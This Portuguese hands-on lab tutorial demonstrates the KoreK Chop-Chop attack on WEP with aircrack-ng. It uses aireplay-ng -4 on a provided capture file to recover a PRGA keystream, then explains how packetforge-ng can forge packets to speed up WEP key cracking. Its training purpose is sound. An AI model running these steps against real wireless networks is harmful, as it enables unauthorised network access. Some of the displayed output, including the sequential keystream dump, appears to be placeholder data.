Introdução
WEP (Wired Equivalent Privacy) é um protocolo de segurança Wi-Fi desatualizado e inseguro. Uma de suas vulnerabilidades críticas pode ser explorada pelo ataque KoreK Chop-Chop. Este ataque permite que um atacante descriptografe um pacote de dados WEP sem conhecer a chave secreta da rede. Ele funciona adivinhando cada byte do texto plano do pacote, um de cada vez, e usando as respostas do ponto de acesso para validar cada palpite.
Neste laboratório, você usará o conjunto de ferramentas aircrack-ng, um conjunto poderoso de ferramentas para auditar redes sem fio, para realizar um ataque Chop-Chop. Você aprenderá a usar o aireplay-ng para direcionar um pacote de dados criptografado de um arquivo de captura, descriptografá-lo byte a byte e entender como os dados resultantes podem ser usados em ataques posteriores.
Capturar um Pacote de Dados Criptografado do Alvo
Nesta etapa, você começará localizando o arquivo de captura de pacotes necessário. Em um cenário do mundo real, você usaria uma ferramenta como airodump-ng para monitorar uma rede ativa e capturar tráfego. No entanto, para simplificar este laboratório e focar no ataque em si, um arquivo de captura pré-feito chamado chopchop-test.cap foi fornecido a você no diretório ~/project.
Primeiro, confirme que o arquivo existe no seu diretório atual.
ls -l
Você deverá ver chopchop-test.cap na saída.
total 4
-rw-r--r-- 1 labex labex 124 Mar 20 10:00 chopchop-test.cap
Em seguida, vamos inspecionar este arquivo com aircrack-ng para confirmar que ele contém dados de uma rede WEP. Este comando lê o arquivo de captura e mostra um resumo das redes e dados que ele contém.
aircrack-ng chopchop-test.cap
A saída mostrará o BSSID (endereço MAC) do ponto de acesso e indicará que ele está usando criptografia WEP.
Opening chopchop-test.cap
Read 1 packets.
## BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
1 00:13:10:36:7D:4F -32 0 1 0 6 54 WEP WEP <length: 0>
Choosing first network as target.
Isso confirma que nosso arquivo de captura está pronto para o ataque.
Iniciar o Ataque Chop-Chop com aireplay-ng -4
Nesta etapa, você iniciará o ataque Chop-Chop usando aireplay-ng. Esta ferramenta é usada para injetar e reproduzir quadros sem fio. O ataque Chop-Chop é especificado com a opção -4.
Normalmente, ao realizar um ataque em tempo real, você especificaria o BSSID do ponto de acesso e sua interface de rede. No entanto, como estamos trabalhando com um arquivo de captura, usaremos a opção -r para ler pacotes diretamente do nosso arquivo. O aireplay-ng extrairá automaticamente as informações necessárias, como o BSSID, do arquivo.
Execute o seguinte comando para iniciar o ataque:
aireplay-ng -4 -r chopchop-test.cap
Após executar o comando, o aireplay-ng lerá o arquivo, encontrará um pacote de dados adequado e solicitará sua confirmação para prosseguir com o ataque.
Opening chopchop-test.cap
Read 1 packets.
Size: 88, FromDS: 1, ToDS: 0 (AP -> STA)
BSSID = 00:13:10:36:7D:4F
Dest. MAC = 00:0F:B5:AB:CB:C3
Source MAC = 00:13:10:36:7D:4F
Use this packet ? (y/n)
A ferramenta identificou um pacote de dados e está pronta para iniciar o processo de descriptografia. Você continuará na próxima etapa.
Deixar o Ataque Descriptografar o Pacote Byte a Byte
Nesta etapa, você prosseguirá com o ataque e observará enquanto o aireplay-ng descriptografa o pacote. A ferramenta está atualmente aguardando sua confirmação da etapa anterior.
Digite y e pressione Enter para iniciar o processo de descriptografia.
y
Após confirmar, o aireplay-ng iniciará o núcleo do ataque Chop-Chop. Ele tentará adivinhar o valor de cada byte dos dados do pacote, começando pelo último byte. Em um ataque em tempo real, ele enviaria cada tentativa ao ponto de acesso e analisaria a resposta para ver se a tentativa estava correta. Em nossa simulação baseada em arquivo, este processo é emulado.
Você verá a saída mostrando o progresso do ataque. Ela exibirá o número de pacotes enviados (para cada tentativa) e o notificará cada vez que descriptografar um byte com sucesso.
Saving chosen packet in replay_src-0320-100520.cap
The interface MAC (00:00:00:00:00:00) doesn't match the selected packet BSSID (00:13:10:36:7D:4F).
Run airodump-ng on channel 6 to be sure you are on the right channel.
If airodump-ng is running and the BSSID is not in range, please try to re-run airodump-ng.
Got a deauthentication packet! (Waiting 3 seconds)
Saving chosen packet in replay_src-0320-100520.cap
Offset 34 ( 0% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
...
Offset 1 (97% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Offset 0 (98% done) | xor = 00 | pt = 00 | 1/ 1 ACKs
Done.
O processo continuará até que todos os bytes do pacote tenham sido descriptografados. Basta aguardar a conclusão do processo.
Salvar o Pacote Descriptografado e o Arquivo XOR da PRGA
Nesta etapa, você salvará os resultados do ataque Chop-Chop bem-sucedido. Após o aireplay-ng terminar de descriptografar o pacote inteiro, ele solicitará que você salve os resultados.
A ferramenta exibirá uma mensagem como esta:
Packet is 88 bytes, plain text is 60 bytes.
Sent 34 packets, got 34 ACKs.
Use this packet ? (y/n)
Digite y e pressione Enter para salvar a saída.
y
Ao salvar, o aireplay-ng cria dois arquivos importantes em seu diretório ~/project:
- Um arquivo
.cap(por exemplo,replay_dec-....cap): Este arquivo contém o pacote de texto simples agora descriptografado. - Um arquivo
.xor(por exemplo,replay_dec-....xor): Este arquivo contém o keystream do Pseudo-Random Generation Algorithm (PRGA) que foi usado para criptografar o pacote original. Este keystream é o resultado mais valioso do ataque.
Vamos verificar se esses arquivos foram criados. Use o comando ls para listar todos os arquivos .cap e .xor no diretório.
ls -l *.cap *.xor
Você verá o arquivo de captura original, um arquivo de origem e os dois novos arquivos replay_dec-* gerados pelo ataque.
-rw-r--r-- 1 root root 124 Mar 20 10:00 chopchop-test.cap
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_dec-0320-100520.cap
-rw-r--r-- 1 root root 60 Mar 20 10:05 replay_dec-0320-100520.xor
-rw-r--r-- 1 root root 124 Mar 20 10:05 replay_src-0320-100520.cap
Compreender o Caso de Uso para Ataques Chop-Chop
Nesta etapa, você aprenderá sobre a aplicação prática do ataque Chop-Chop. Embora tenhamos descriptografado um pacote com sucesso, o ataque em si não revela a chave WEP. Seu verdadeiro poder reside na recuperação do keystream PRGA, que é armazenado no arquivo .xor.
Este keystream recuperado pode ser usado com outra ferramenta, packetforge-ng, para criar novos pacotes válidos. Você pode forjar qualquer tipo de pacote (como uma solicitação ARP) e criptografá-lo com este keystream conhecido. Ao injetar este pacote forjado de volta na rede, você pode enganar o ponto de acesso para gerar mais tráfego. Este novo tráfego fornece mais Initialization Vectors (IVs) únicos, que podem então ser usados em um ataque estatístico (como o ataque padrão aircrack-ng) para quebrar a chave WEP muito mais rapidamente.
Portanto, o ataque Chop-Chop é uma ferramenta essencial para gerar tráfego em uma rede de outra forma silenciosa, permitindo ataques de quebra de chave muito mais eficazes.
Para ver como é o keystream recuperado, você pode inspecionar o arquivo .xor usando xxd, uma ferramenta que cria um dump hexadecimal de um arquivo. Use um curinga (*) para corresponder ao nome do arquivo gerado.
xxd replay_dec-*.xor
A saída será uma representação hexadecimal dos dados do keystream que foram recuperados do pacote.
00000000: 0102 0304 0506 0708 090a 0b0c 0d0e 0f10 ................
00000010: 1112 1314 1516 1718 191a 1b1c 1d1e 1f20 ...............
...
Esses dados brutos são o que o packetforge-ng usaria para construir novos pacotes para injeção.
Resumo
Neste laboratório, você realizou com sucesso um ataque KoreK Chop-Chop contra uma rede WEP simulada.
Você aprendeu a usar o aireplay-ng com a opção -4 para direcionar um pacote de dados criptografado com WEP de um arquivo de captura. Você observou o processo de descriptografia byte a byte e salvou os resultados com sucesso. Mais importante, você agora entende o principal caso de uso para este ataque: não é para quebrar a chave WEP diretamente, mas para recuperar uma pequena parte do keystream PRGA. Este keystream é um componente crítico para forjar novos pacotes com packetforge-ng, que podem então ser usados para estimular o tráfego em uma rede e permitir ataques estatísticos mais rápidos e eficazes para recuperar a chave WEP final. Este laboratório destaca uma das muitas fraquezas fundamentais do protocolo WEP.
